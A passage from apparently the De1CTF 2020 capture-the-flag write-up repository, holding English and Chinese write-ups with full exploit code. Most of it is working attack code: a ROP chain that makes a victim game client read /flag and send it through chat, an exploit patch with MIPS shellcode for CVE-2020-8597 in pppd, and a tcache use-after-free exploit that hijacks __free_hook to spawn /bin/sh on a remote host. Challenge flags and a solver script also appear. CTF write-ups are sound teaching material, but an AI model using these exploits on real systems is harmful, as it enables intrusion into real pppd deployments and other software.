params={'work': text[-4:]}) 46 | if 'fail' in resp.text: 47 | print(resp.text) 48 | exit() 49 | 50 | VICTIM_PLAYER = resp.text.split('"')[1].split('"')[0] 51 | print(resp.text) 52 | print("Wait 15 seconds. VICTIM_PLAYER will join in the game.") 53 | 54 | time.sleep(15) 55 | 56 | io = remote(REALWORLD_PROXY_IP, REALWORLD_PROXY_PORT) 57 | 58 | # Version 1 59 | io.sendline('V,1') 60 | 61 | # Authenticate 62 | io.sendline('A,,') 63 | 64 | # Talk. Use command '/nick' to set player name 65 | io.sendline('T,/nick %s' % PLAYER_NAME) 66 | 67 | # Build Payload 68 | 69 | # -- some addresses 70 | func_ret = 0x48C193 71 | pop_rdi = 0x43BBB5 72 | pop_rsi = 0x43CA13 73 | pop_rdx = 0x4835A5 74 | pop_rcx = 0x403E9E 75 | mov_lb_rdi_rb_rax = 0x4C60B9 76 | add_ecx_lb_rdx_rb = 0x4492AD 77 | plt_memcpy = 0x43A680 78 | plt_fopen = 0x43B610 79 | plt_fread = 0x43ACD0 80 | func_client_talk = 0x48D400 81 | rodata_asc = 0x57343F 82 | rodata_asc_str = '@ \x00' 83 | data_access_token_url = 0x7A0980 84 | data_access_token_url_str = 'https://craft.michaelfogleman.com/api/1/identity\x00' 85 | bss_data = 0x7FFF00 86 | 87 | payload = b''.ljust(0x18, b'a') 88 | 89 | def BuildString(dst, src, dst_str, src_str): 90 | payload = b'' 91 | for i in range(len(dst_str)): 92 | if dst_str[i] not in src_str: 93 | return b'' 94 | pos = src_str.index(dst_str[i]) 95 | payload += p64(pop_rdi) # pop rdi 96 | payload += p64(dst + i) # dst 97 | payload += p64(pop_rsi) # pop rsi 98 | payload += p64(src + pos) # src 99 | payload += p64(pop_rdx) # pop rdx 100 | payload += p64(1) # 1 101 | payload += p64(plt_memcpy) 102 | return payload 103 | 104 | payload += BuildString(bss_data, data_access_token_url, '/flag', data_access_token_url_str) 105 | payload += BuildString(bss_data + 6, data_access_token_url, 'r', data_access_token_url_str) 106 | payload += BuildString(bss_data + 8, rodata_asc, '@', rodata_asc_str) 107 | 108 | # -- Build String PLAYER_NAME = 'michaelfogleman.' 109 | payload += p64(pop_rdi) # pop rdi 110 | payload += p64(bss_data + 9) # dst 111 | payload += p64(pop_rsi) # pop rsi 112 | payload += p64(data_access_token_url + 14) # src 113 | payload += p64(pop_rdx) # pop rdx 114 | payload += p64(16) # 16 115 | payload += p64(plt_memcpy) 116 | 117 | payload += BuildString(bss_data + 25, rodata_asc, ' ', rodata_asc_str) 118 | 119 | # -- fopen 120 | payload += p64(pop_rdi) # pop rdi 121 | payload += p64(bss_data) # /flag 122 | payload += p64(pop_rsi) # pop rsi 123 | payload += p64(bss_data + 6) # r 124 | payload += p64(plt_fopen) 125 | 126 | # -- prepare fread - mov eax to ecx 127 | payload += p64(pop_rdi) # pop rdi 128 | payload += p64(bss_data - 8) # bss_data - 8 129 | payload += p64(mov_lb_rdi_rb_rax) # mov qword ptr [rdi], rax 130 | payload += p64(pop_rdx) # pop rdx 131 | payload += p64(bss_data - 8) # bss_data - 8 132 | payload += p64(pop_rcx) # pop rcx 133 | payload += p64(0x0) # 0x0 134 | payload += p64(add_ecx_lb_rdx_rb) # add ecx, dword ptr [rdx] 135 | 136 | # -- fread 137 | payload += p64(pop_rdi) # pop rdi 138 | payload += p64(bss_data + 26) # dst 139 | payload += p64(pop_rsi) # pop rsi 140 | payload += p64(0x1) # 0x1 141 | payload += p64(pop_rdx) # pop rdx 142 | payload += p64(0x80) # 0x80 143 | payload += p64(plt_fread) 144 | 145 | # -- client_talk 146 | payload += p64(pop_rdi) # pop rdi 147 | payload += p64(bss_data + 8) # src 148 | payload += p64(func_client_talk) 149 | 150 | # -- function_return 151 | payload += p64(func_ret) 152 | 153 | payload = base64.b64encode(payload) 154 | 155 | # Talk. @VICTIM_PLAYER to Exploit. 156 | # VICTIM_PLAYER's game will crash! 157 | io.sendline('T,@%s %s' % (VICTIM_PLAYER, payload.decode())) 158 | 159 | # Receive flag from VICTIM_PLAYER 160 | io.interactive() -------------------------------------------------------------------------------- /writeup/pwn/mc_realworld/readme.md: -------------------------------------------------------------------------------- 1 | ## pwn - mc_realworld 2 | 3 | [Source Code](https://github.com/impakho/de1ctf-mc_challs) 4 | 5 | The challenge was modified based on a minecraft-liked game written in C [fogleman/Craft](https://github.com/fogleman/Craft). 6 | 7 | The vulnerability function is `add_messages` located in the client binary. You can use `bindiff` to find it. In the function, there is some codes like: 8 | 9 | ``` 10 | if (text[0] == '@' && strlen(text) > 192) { 11 | text = text + 1; 12 | char *body = text + 32; 13 | size_t length; 14 | char *plain = base64_decode(body, strlen(body), &length); 15 | char message[16] = {0}; 16 | memcpy(&message, plain, length); 17 | printf("%8s", &message); 18 | return; 19 | } 20 | ``` 21 | 22 | Obviously, an easy stack BOF! Let's use `checksec` to have a look at the protection. 23 | 24 | ``` 25 | Arch: amd64-64-little 26 | RELRO: Partial RELRO 27 | Stack: No canary found 28 | NX: NX enabled 29 | PIE: No PIE (0x400000) 30 | ``` 31 | 32 | Okay... A check-in challenge, that's what I'm thinking about. 33 | 34 | `add_messages` will be triggled before some messages show on the console in game. Therefore, we can exploit a player's machine by @someone in the chat box. Make sure the length of text message above 192 bytes, also using `base64` to encode. 35 | 36 | One more problem, how to get the `flag` from the victim(bot)'s machine. After digging in the binary, I find `client_talk` function. Using it to @attacker(me) follow with the `flag`, we can receive the flag at the client side. 37 | 38 | For more details, check the expolit `exp.py`. 39 | 40 | `De1CTF{W3_L0vE_D4nge2_ReA1_W0r1d1_CrAft!2233}` 41 | 42 | ## pwn - mc_realworld 43 | 44 | [Source Code](https://github.com/impakho/de1ctf-mc_challs) 45 | 46 | 出题人继续挖与mc相关的材料。找到了这个 [fogleman/Craft](https://github.com/fogleman/Craft) 。 47 | 48 | 游戏还蛮好的,服务端用 python 写,pwn 服务端有点难下手,而且搅屎情况更不好控制,所以打算从客户端处下手。在客户端处,埋下一个简单的 bof,在用户聊天时触发。为了防止选手集体挨打,所以限制了@特定用户时才能触发。 49 | 50 | client to client的pwn题变得有趣多了,像极了A&D模式。 51 | 52 | 回传flag成为一个问题,中间隔着一个server。预设解法是通过聊天功能回传,只能@自己,因为公屏黑名单了关键词 `De1CTF`,防止 flag 意外泄露。 53 | 54 | 非预期回传方式,参考上面 `mc_logclient` wp 的说明。 55 | 56 | 漏洞点位于客户端 `add_messages` 函数。你可以通过 `bindiff` 找到它(需要保证编译环境一致,编译器flags一致)。代码大概如下: 57 | 58 | ``` 59 | if (text[0] == '@' && strlen(text) > 192) { 60 | text = text + 1; 61 | char *body = text + 32; 62 | size_t length; 63 | char *plain = base64_decode(body, strlen(body), &length); 64 | char message[16] = {0}; 65 | memcpy(&message, plain, length); 66 | printf("%8s", &message); 67 | return; 68 | } 69 | ``` 70 | 71 | 很明显,简单 bof。 72 | 73 | 更多细节详见:exp.py。 74 | 75 | `De1CTF{W3_L0vE_D4nge2_ReA1_W0r1d1_CrAft!2233}` -------------------------------------------------------------------------------- /writeup/pwn/mc_realworld/requirements.txt: -------------------------------------------------------------------------------- 1 | pwntools 2 | -------------------------------------------------------------------------------- /writeup/pwn/pppd/README.md: -------------------------------------------------------------------------------- 1 | ## pppd 2 | [中文](./README_zh.md) [English](./README.md) 3 | 4 | [attachment](./attachment.zip) 5 | 6 | [docker](./docker.zip) 7 | 8 | This challenge is required to write 1 day exp of CVE-2020-8597 9 | This cve itself is actually very simple, just a stack overflow 10 | But the difficulty is to communicate with pppd and debug under the mips environment 11 | 12 | Most of the teams did not find a way to communicate with pppd during the game, so I directly released the hint and used socat to communicate with pppd 13 | 14 | Next is how to debug 15 | 16 | First of all, the network is diabled by default 17 | 18 | In /etc/init.d/S40network, delete all comments, then modify the start.sh script, delete -net none, add -redir tcp: 9999 :: 9999 -redir tcp: 4242 :: 4242, so Network is configured 19 | 20 | Then modify /etc/inittab 21 | change 22 | ``` 23 | ttyS0 :: sysinit: / pppd auth local lock defaultroute nodetach 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8 require-eap lcp-max-configure 100 24 | ``` 25 | into 26 | ``` 27 | ttyS0 :: sysinit: / bin / sh 28 | ``` 29 | 30 | Then go to github to download a [gdbserver] (https://github.com/hugsy/gdb-static/blob/master/gdbserver-7.12-mips-be), repack a cpio, start it 31 | 32 | After entering the system, you get a shell by default, and the system comes with a socat 33 | 34 | carried out 35 | ``` 36 | socat pty,link=/dev/serial,raw tcp-listen:9999 & 37 | /pppd /dev/serial 9600 local lock defaultroute 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8 require-eap lcp-max-configure 100 38 | ``` 39 | Then execute the following command to get the pid of pppd 40 | ``` 41 | ps | grep pppd 42 | ``` 43 | Use gdbserver attach to pppd 44 | ``` 45 | ./gdbserver --attach 0.0.0.0:4242 pid 46 | ``` 47 | Then use gdb-multiarch to connect to gdbserver 48 | 49 | Then downloading a pppd source code, compile 50 | execute 51 | ``` 52 | socat pty,link=/tmp/serial,rawer tcp:127.0.0.1:9999 53 | pppd noauth local lock defaultroute debug nodetach /tmp/serial 9600 user notadmin password notpassword 54 | ``` 55 | now you can start debug and write the exp 56 | 57 | following this [guide](https://gist.github.com/nstarke/551433bcc72ff95588e168a0bb66612),you can write the exp of this chall 58 | 59 | exp patch is below 60 | ``` 61 | --- ppp-ppp-2.4.7/pppd/eap.c 2014-08-09 12:31:39.000000000 +0000 62 | +++ ppp-poc/ppp-ppp-2.4.7/pppd/eap.c 2020-04-12 03:23:54.321773453 +0000 63 | @@ -1385,8 +1385,46 @@ 64 | esp->es_usedpseudo = 2; 65 | } 66 | #endif /* USE_SRP */ 67 | - eap_send_response(esp, id, typenum, esp->es_client.ea_name, 68 | - esp->es_client.ea_namelen); 69 | + //eap_send_response(esp, id, typenum, esp->es_client.ea_name, 70 | + // esp->es_client.ea_namelen); 71 | +#define PAY_LEN 256 72 | + char sc[PAY_LEN]; 73 | + memset(sc, 'C', PAY_LEN); 74 | + int* shellcode = (int*)sc; 75 | + shellcode[0]=0x3c09616c; 76 | + shellcode[1]=0x3529662f; 77 | + shellcode[2]=0xafa9fff8; 78 | + shellcode[3]=0x2419ff98; 79 | + shellcode[4]=0x3204827; 80 | + shellcode[5]=0xafa9fffc; 81 | + shellcode[6]=0x27bdfff8; 82 | + shellcode[7]=0x3a02020; 83 | + shellcode[8]=0x2805ffff; 84 | + shellcode[9]=0x2806ffff; 85 | + shellcode[10]=0x34020fa5; 86 | + shellcode[11]=0x101010c; 87 | + shellcode[12]=0xafa2fffc; 88 | + shellcode[13]=0x8fa4fffc; 89 | + shellcode[14]=0x3c19ffb5; 90 | + shellcode[15]=0x3739c7fd; 91 | + shellcode[16]=0x3202827; 92 | + shellcode[17]=0x3c190101; 93 | + shellcode[18]=0x373901fe; 94 | + shellcode[19]=0x3c060101; 95 | + shellcode[20]=0x34c60101; 96 | + shellcode[21]=0x3263026; 97 | + shellcode[22]=0x34020fa3; 98 | + shellcode[23]=0x101010c; 99 | + shellcode[24]=0x3c05004a; 100 | + shellcode[25]=0x34a53800; 101 | + shellcode[26]=0x20460002; 102 | + shellcode[27]=0x3c190042; 103 | + shellcode[28]=0x37396698; 104 | + shellcode[29]=0x320f809; 105 | + shellcode[30]=0x0; 106 | + sc[PAY_LEN-1] = '\0'; 107 | + 108 | + eap_send_response(esp, id, typenum, shellcode, PAY_LEN); 109 | break; 110 | 111 | case EAPT_NOTIFICATION: 112 | @@ -1452,8 +1490,21 @@ 113 | BZERO(secret, sizeof (secret)); 114 | MD5_Update(&mdContext, inp, vallen); 115 | MD5_Final(hash, &mdContext); 116 | - eap_chap_response(esp, id, hash, esp->es_client.ea_name, 117 | - esp->es_client.ea_namelen); 118 | + //eap_chap_response(esp, id, hash, esp->es_client.ea_name, 119 | + // esp->es_client.ea_namelen); 120 | + char payload[1024]; 121 | + memset(payload, 'A', 1023); 122 | + memset(payload, 'B', 0x2a0); 123 | + int *tpayload = (int*)(payload + 0x2a0 - 4); 124 | + //*tpayload = 0x040A0BC; 125 | + *tpayload = 0x4083FC; 126 | + //*(tpayload-1) = 0x043EF9C; 127 | + *(tpayload-1) = 0x43EF9C; 128 | + *(tpayload-5) = 0x4a7a0c-8; 129 | + 130 | + payload [1023] = '\0'; 131 | + eap_chap_response(esp, id, hash, payload, 1024); 132 | + exit(0); 133 | break; 134 | 135 | #ifdef USE_SRP 136 | ``` 137 | -------------------------------------------------------------------------------- /writeup/pwn/pppd/README_zh.md: -------------------------------------------------------------------------------- 1 | ## pppd 2 | [中文](./README_zh.md) [English](./README.md) 3 | 4 | [attachment](./attachment.zip) 5 | 6 | [docker](./docker.zip) 7 | 8 | 这道题是要求写CVE-2020-8597的1 day exp 9 | 这个cve本身其实是非常简单的,就单纯一个栈溢出 10 | 但是难的是与pppd进行通信和在mips环境下面进行调试 11 | 12 | 在比赛的时候大部分队伍都没有找到与pppd通信的办法,因此我就直接放出提示,使用socat与pppd进行通信 13 | 14 | 接下来介绍的是如何调试的方法 15 | 16 | 首先题目默认关闭了network 17 | 18 | 在/etc/init.d/S40network, 将注释全部删掉,然后修改start.sh脚本,将-net none删除,加上-redir tcp:9999::9999 -redir tcp:4242::4242,这样就配置好network了 19 | 20 | 然后修改/etc/inittab 21 | 将 22 | ``` 23 | ttyS0::sysinit:/pppd auth local lock defaultroute nodetach 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8 require-eap lcp-max-configure 100 24 | ``` 25 | 修改为 26 | ``` 27 | ttyS0::sysinit:/bin/sh 28 | ``` 29 | 30 | 然后到github下载一个[gdbserver](https://github.com/hugsy/gdb-static/blob/master/gdbserver-7.12-mips-be), 重新打包一个cpio,启动 31 | 32 | 进入系统后默认得到一个shell,系统里面自带一个socat 33 | 34 | 执行 35 | ``` 36 | socat pty,link=/dev/serial,raw tcp-listen:9999 & 37 | /pppd /dev/serial 9600 local lock defaultroute 172.16.1.1:172.16.1.2 ms-dns 8.8.8.8 require-eap lcp-max-configure 100 38 | ``` 39 | 之后执行下面的命令获取pppd的pid 40 | ``` 41 | ps |grep pppd 42 | ``` 43 | 使用gdbserver attach上pppd 44 | ``` 45 | ./gdbserver --attach 0.0.0.0:4242 pid 46 | ``` 47 | 然后在外面使用gdb-multiarch去连接gdbserver 48 | 49 | 之后下载一个pppd的源码,编译 50 | 执行 51 | ``` 52 | socat pty,link=/tmp/serial,rawer tcp:127.0.0.1:9999 & 53 | pppd noauth local lock defaultroute debug nodetach /tmp/serial 9600 user notadmin password notpassword 54 | ``` 55 | 这样就成功进行调试了 56 | 57 | 之后根据https://gist.github.com/nstarke/551433bcc72ff95588e168a0bb666124的操作patch源码,写exp即可 58 | 59 | exp patch如下 60 | ``` 61 | --- ppp-ppp-2.4.7/pppd/eap.c 2014-08-09 12:31:39.000000000 +0000 62 | +++ ppp-poc/ppp-ppp-2.4.7/pppd/eap.c 2020-04-12 03:23:54.321773453 +0000 63 | @@ -1385,8 +1385,46 @@ 64 | esp->es_usedpseudo = 2; 65 | } 66 | #endif /* USE_SRP */ 67 | - eap_send_response(esp, id, typenum, esp->es_client.ea_name, 68 | - esp->es_client.ea_namelen); 69 | + //eap_send_response(esp, id, typenum, esp->es_client.ea_name, 70 | + // esp->es_client.ea_namelen); 71 | +#define PAY_LEN 256 72 | + char sc[PAY_LEN]; 73 | + memset(sc, 'C', PAY_LEN); 74 | + int* shellcode = (int*)sc; 75 | + shellcode[0]=0x3c09616c; 76 | + shellcode[1]=0x3529662f; 77 | + shellcode[2]=0xafa9fff8; 78 | + shellcode[3]=0x2419ff98; 79 | + shellcode[4]=0x3204827; 80 | + shellcode[5]=0xafa9fffc; 81 | + shellcode[6]=0x27bdfff8; 82 | + shellcode[7]=0x3a02020; 83 | + shellcode[8]=0x2805ffff; 84 | + shellcode[9]=0x2806ffff; 85 | + shellcode[10]=0x34020fa5; 86 | + shellcode[11]=0x101010c; 87 | + shellcode[12]=0xafa2fffc; 88 | + shellcode[13]=0x8fa4fffc; 89 | + shellcode[14]=0x3c19ffb5; 90 | + shellcode[15]=0x3739c7fd; 91 | + shellcode[16]=0x3202827; 92 | + shellcode[17]=0x3c190101; 93 | + shellcode[18]=0x373901fe; 94 | + shellcode[19]=0x3c060101; 95 | + shellcode[20]=0x34c60101; 96 | + shellcode[21]=0x3263026; 97 | + shellcode[22]=0x34020fa3; 98 | + shellcode[23]=0x101010c; 99 | + shellcode[24]=0x3c05004a; 100 | + shellcode[25]=0x34a53800; 101 | + shellcode[26]=0x20460002; 102 | + shellcode[27]=0x3c190042; 103 | + shellcode[28]=0x37396698; 104 | + shellcode[29]=0x320f809; 105 | + shellcode[30]=0x0; 106 | + sc[PAY_LEN-1] = '\0'; 107 | + 108 | + eap_send_response(esp, id, typenum, shellcode, PAY_LEN); 109 | break; 110 | 111 | case EAPT_NOTIFICATION: 112 | @@ -1452,8 +1490,21 @@ 113 | BZERO(secret, sizeof (secret)); 114 | MD5_Update(&mdContext, inp, vallen); 115 | MD5_Final(hash, &mdContext); 116 | - eap_chap_response(esp, id, hash, esp->es_client.ea_name, 117 | - esp->es_client.ea_namelen); 118 | + //eap_chap_response(esp, id, hash, esp->es_client.ea_name, 119 | + // esp->es_client.ea_namelen); 120 | + char payload[1024]; 121 | + memset(payload, 'A', 1023); 122 | + memset(payload, 'B', 0x2a0); 123 | + int *tpayload = (int*)(payload + 0x2a0 - 4); 124 | + //*tpayload = 0x040A0BC; 125 | + *tpayload = 0x4083FC; 126 | + //*(tpayload-1) = 0x043EF9C; 127 | + *(tpayload-1) = 0x43EF9C; 128 | + *(tpayload-5) = 0x4a7a0c-8; 129 | + 130 | + payload [1023] = '\0'; 131 | + eap_chap_response(esp, id, hash, payload, 1024); 132 | + exit(0); 133 | break; 134 | 135 | #ifdef USE_SRP 136 | ``` 137 | -------------------------------------------------------------------------------- /writeup/pwn/pppd/attachment.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/pwn/pppd/attachment.zip -------------------------------------------------------------------------------- /writeup/pwn/pppd/docker.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/pwn/pppd/docker.zip -------------------------------------------------------------------------------- /writeup/pwn/stl_container/README.md: -------------------------------------------------------------------------------- 1 | ### stl_container 2 | [中文](./README_zh.md) [English](./README.md) 3 | 4 | [attachment](./attachment.zip) 5 | 6 | [docker](./docker.zip) 7 | 8 | This challenge is about a bug in c ++ vector template 9 | When the item stored in the vector is an Object, no matter what index you want to erase will call the destructor of the last Object in the vector 10 | This causes a UAF vulnerability, and then you can use tcache to carry out various attacks 11 | 12 | Below is the exp 13 | ``` 14 | from pwn import * 15 | 16 | debug=0 17 | 18 | #context.terminal = ['tmux','-x','sh','-c'] 19 | #context.terminal = ['tmux', 'splitw', '-h' ] 20 | context.log_level='debug' 21 | 22 | if debug: 23 | p=process('./stl_container') 24 | #p=process('',env={'LD_PRELOAD':'./libc.so'}) 25 | gdb.attach(p) 26 | else: 27 | p=remote('134.175.239.26',8848) 28 | 29 | def ru(x): 30 | return p.recvuntil(x) 31 | 32 | def se(x): 33 | p.send(x) 34 | 35 | def sl(x): 36 | p.sendline(x) 37 | 38 | def add(ty, content='a'): 39 | sl(str(ty)) 40 | ru('3. show') 41 | ru('>>') 42 | sl('1') 43 | ru('input data:') 44 | se(content) 45 | ru('>>') 46 | 47 | def delete(ty, idx=0): 48 | sl(str(ty)) 49 | ru('3. show') 50 | ru('>>') 51 | sl('2') 52 | if ty <= 2: 53 | ru('index?') 54 | sl(str(idx)) 55 | ru('>>') 56 | 57 | def show(ty, idx=0): 58 | sl(str(ty)) 59 | ru('3. show') 60 | ru('>>') 61 | sl('3') 62 | ru('index?\n') 63 | sl(str(idx)) 64 | ru('data: ') 65 | data = ru('\n') 66 | ru('>>') 67 | return data 68 | 69 | 70 | ru('>>') 71 | 72 | add(1) 73 | add(1) 74 | add(2) 75 | add(2) 76 | add(4) 77 | add(4) 78 | add(3) 79 | add(3) 80 | 81 | delete(3) 82 | delete(3) 83 | delete(1) 84 | delete(1) 85 | delete(4) 86 | delete(4) 87 | delete(2) 88 | data = show(2) 89 | libc = u64(data[:6]+'\0\0') 90 | base = libc - 0x3ebca0 91 | free_hook = base + 0x3ed8e8 92 | system = base + 0x4f440 93 | 94 | add(3, '/bin/sh\0') 95 | delete(2) 96 | add(4) 97 | add(2) 98 | add(2) 99 | add(3, '/bin/sh\0') 100 | delete(2) 101 | delete(2) 102 | add(1, p64(free_hook)) 103 | add(1, p64(system)) 104 | 105 | sl('3') 106 | ru('show') 107 | sl('2') 108 | 109 | print(hex(base)) 110 | p.interactive() 111 | 112 | ``` 113 | -------------------------------------------------------------------------------- /writeup/pwn/stl_container/README_zh.md: -------------------------------------------------------------------------------- 1 | ### stl_container 2 | [中文](./README_zh.md) [English](./README.md) 3 | 4 | [attachment](./attachment.zip) 5 | 6 | [docker](./docker.zip) 7 | 8 | 这道题是关于c++ vector模板的一个漏洞 9 | 当vector中储存的是Object的时候,erase指定下标的Object都会调用vector中最后一个Object的析构函数 10 | 这样就有了一个UAF漏洞,接下来就利用tcache进行各种攻击 11 | 12 | 下面是exp 13 | ``` 14 | from pwn import * 15 | 16 | debug=0 17 | 18 | #context.terminal = ['tmux','-x','sh','-c'] 19 | #context.terminal = ['tmux', 'splitw', '-h' ] 20 | context.log_level='debug' 21 | 22 | if debug: 23 | p=process('./stl_container') 24 | #p=process('',env={'LD_PRELOAD':'./libc.so'}) 25 | gdb.attach(p) 26 | else: 27 | p=remote('134.175.239.26',8848) 28 | 29 | def ru(x): 30 | return p.recvuntil(x) 31 | 32 | def se(x): 33 | p.send(x) 34 | 35 | def sl(x): 36 | p.sendline(x) 37 | 38 | def add(ty, content='a'): 39 | sl(str(ty)) 40 | ru('3. show') 41 | ru('>>') 42 | sl('1') 43 | ru('input data:') 44 | se(content) 45 | ru('>>') 46 | 47 | def delete(ty, idx=0): 48 | sl(str(ty)) 49 | ru('3. show') 50 | ru('>>') 51 | sl('2') 52 | if ty <= 2: 53 | ru('index?') 54 | sl(str(idx)) 55 | ru('>>') 56 | 57 | def show(ty, idx=0): 58 | sl(str(ty)) 59 | ru('3. show') 60 | ru('>>') 61 | sl('3') 62 | ru('index?\n') 63 | sl(str(idx)) 64 | ru('data: ') 65 | data = ru('\n') 66 | ru('>>') 67 | return data 68 | 69 | 70 | ru('>>') 71 | 72 | add(1) 73 | add(1) 74 | add(2) 75 | add(2) 76 | add(4) 77 | add(4) 78 | add(3) 79 | add(3) 80 | 81 | delete(3) 82 | delete(3) 83 | delete(1) 84 | delete(1) 85 | delete(4) 86 | delete(4) 87 | delete(2) 88 | data = show(2) 89 | libc = u64(data[:6]+'\0\0') 90 | base = libc - 0x3ebca0 91 | free_hook = base + 0x3ed8e8 92 | system = base + 0x4f440 93 | 94 | add(3, '/bin/sh\0') 95 | delete(2) 96 | add(4) 97 | add(2) 98 | add(2) 99 | add(3, '/bin/sh\0') 100 | delete(2) 101 | delete(2) 102 | add(1, p64(free_hook)) 103 | add(1, p64(system)) 104 | 105 | sl('3') 106 | ru('show') 107 | sl('2') 108 | 109 | print(hex(base)) 110 | p.interactive() 111 | 112 | ``` 113 | -------------------------------------------------------------------------------- /writeup/pwn/stl_container/attachment.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/pwn/stl_container/attachment.zip -------------------------------------------------------------------------------- /writeup/pwn/stl_container/docker.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/pwn/stl_container/docker.zip -------------------------------------------------------------------------------- /writeup/re/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/re/.gitkeep -------------------------------------------------------------------------------- /writeup/re/FLw/Q.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/re/FLw/Q.exe -------------------------------------------------------------------------------- /writeup/re/FLw/QueueVirtualMachine.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/re/FLw/QueueVirtualMachine.cpp -------------------------------------------------------------------------------- /writeup/re/FLw/solver.py: -------------------------------------------------------------------------------- 1 | enc_flag = [0x7a,0x19,0x4f,0x6e,0xe,0x56,0xaf,0x1f,0x98,0x58,0xe,0x60,0xbd,0x42,0x8a,0xa2,0x20,0x97,0xb0,0x3d,0x87,0xa0,0x22,0x95,0x79,0xf9,0x41,0x54,0xc,0x6d] 2 | table = '0123456789QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm+/=' 3 | enc = [None]*30 4 | 5 | i = 0 6 | while(i!=30): 7 | enc_flag[i+0] = enc_flag[i+2]^enc_flag[i+0] 8 | enc_flag[i+2] = (enc_flag[i+2]-enc_flag[i+1]+0x100)%0x100 9 | enc_flag[i+1] = (enc_flag[i]+enc_flag[i+1]+0x100)%0x100 10 | i+=3 11 | 12 | temp = '' 13 | for i in range(len(enc_flag)): 14 | temp += chr(enc_flag[i]) 15 | enc_flag = temp 16 | print(enc_flag) 17 | 18 | for i in range(len(enc_flag)): 19 | for j in range(len(table)): 20 | if ord(enc_flag[i])==ord(table[j]): 21 | enc[i] = j 22 | break 23 | print("De1CTF{",end = '') 24 | 25 | for i in range(10): 26 | temp = enc[i*3]*58*58+enc[i*3+1]*58+enc[i*3+2] 27 | print("{}{}".format(chr(temp//256),chr(temp%256)),end = '') 28 | 29 | print("}") -------------------------------------------------------------------------------- /writeup/re/FLw/writeup_zh.md: -------------------------------------------------------------------------------- 1 | 中文 | [en](./writeup_en.md) 2 | 3 | # QueueVirtualMachine 4 | 5 | ## VirtualMachine 6 | 7 | `unsigned char flag[] = "de1ctf{Innocence_Eye&Daisy*}";` 8 | 9 | 这是一个基于队列的虚拟机。 10 | 11 | 虚拟机的结构如下: 12 | 13 | ```c++ 14 | class QueueVirtualMachine{ 15 | public: 16 | QueueVirtualMachine(); 17 | QueueVirtualMachine(unsigned char*); 18 | ~QueueVirtualMachine(); 19 | bool run(); 20 | void printQueueMemSpace(); //用于获取调试信息 21 | void printMemSpace(); //用于获取调试信息 22 | private: 23 | int head,tail; //队列的头,尾指针 24 | unsigned short reg; //用于计算分组base58的寄存器 25 | unsigned char *queueMemSpace;//队列空间 26 | unsigned char *memSpace; //内存空间 27 | unsigned char *codeSpace; //代码段 28 | unsigned char *tempString; //字符串缓冲区 29 | }; 30 | ``` 31 | 32 | 33 | 34 | 虚拟机的指令如下: 35 | 36 | 14 xx 37 | 38 | 将一个数字压入队列的尾部 39 | 40 | 15 41 | 42 | 丢弃一个队尾元素 43 | 44 | 20 xx 45 | 46 | 将队列头部的一个字节放入`memSpace[xx]`的位置 47 | 48 | 2a xx 49 | 50 | 将`memspace[xx]`的一个字节压入队列尾部 51 | 52 | 2b 53 | 54 | 取队列头部的一个数据作为索引,将memspace[]的一个字节压入队列尾部 55 | 56 | 2c 57 | 58 | 取队列头部的一个数据作为索引,将队列中的下一个字节放入memspace[] 59 | 60 | 30 61 | 62 | 先左移reg 8位,然后reg加上队尾元素 63 | 64 | 31 xx 65 | 66 | 寄存器中的short除以xx,余数入队列,商在reg中 67 | 68 | 32 69 | 70 | 取队列头部的一个byte作为table[]的索引取值,取值结果入队列 71 | 72 | 33 73 | 74 | 取队列头部的两个数据相加,结果入队列 75 | 76 | 34 77 | 78 | 取队列头部的两个数据相减,结果入队列。 79 | 80 | 注意,减数在队首 81 | 82 | 35 83 | 84 | 取队列头部的两个数据相×,结果入队列 85 | 86 | 36 87 | 88 | 寄存器中的数据入队列,并清空寄存器 89 | 90 | 37 91 | 92 | 取队列头部的两个数据相异或,结果入队列 93 | 94 | 3a 95 | 96 | 读入一个字符串,字符串放在缓冲区,字符串长度入队列 97 | 98 | 40 xx 99 | 100 | 取队列头部的一个数字,如果该数字【不】为0,则 101 | 102 | `op -= xx` 103 | 104 | 41 105 | 106 | 缓冲区中的字符串入队列,清空缓冲区 107 | 108 | ab 109 | 110 | 指令执行完毕,返回true 111 | 112 | ff 113 | 114 | 如果队列头部的数据不为0,则虚拟机返回bool值`false` 115 | 116 | ## 算法设计 117 | 118 | ### 1.读取字符串、检测长度、移入memSpace 119 | 120 | ```c 121 | //cin>>tempString; 122 | 0x3a, 123 | //if(strlen(tempString)!=28)return false; 124 | 0x14,28, 125 | 0x34, 126 | 0xff, 127 | //将缓冲区中暂存的字符串移入缓冲区 128 | 0x41, 129 | //从队列中移入内存 130 | 0x20,0x19,//d 131 | 0x20,0x1a,//e 132 | 0x20,0x1b,//1 133 | 0x20,0x1c,//c 134 | 0x20,0x1d,//t 135 | 0x20,0x1e,//f 136 | 0x20,0x1f,//{ 137 | 0x20,0x20, 138 | 0x20,0x21, 139 | 0x20,0x22, 140 | 0x20,0x23, 141 | 0x20,0x24, 142 | 0x20,0x25, 143 | 0x20,0x26, 144 | 0x20,0x27, 145 | 0x20,0x28, 146 | 0x20,0x29, 147 | 0x20,0x2a, 148 | 0x20,0x2b, 149 | 0x20,0x2c, 150 | 0x20,0x2d, 151 | 0x20,0x2e, 152 | 0x20,0x2f, 153 | 0x20,0x30, 154 | 0x20,0x31, 155 | 0x20,0x32, 156 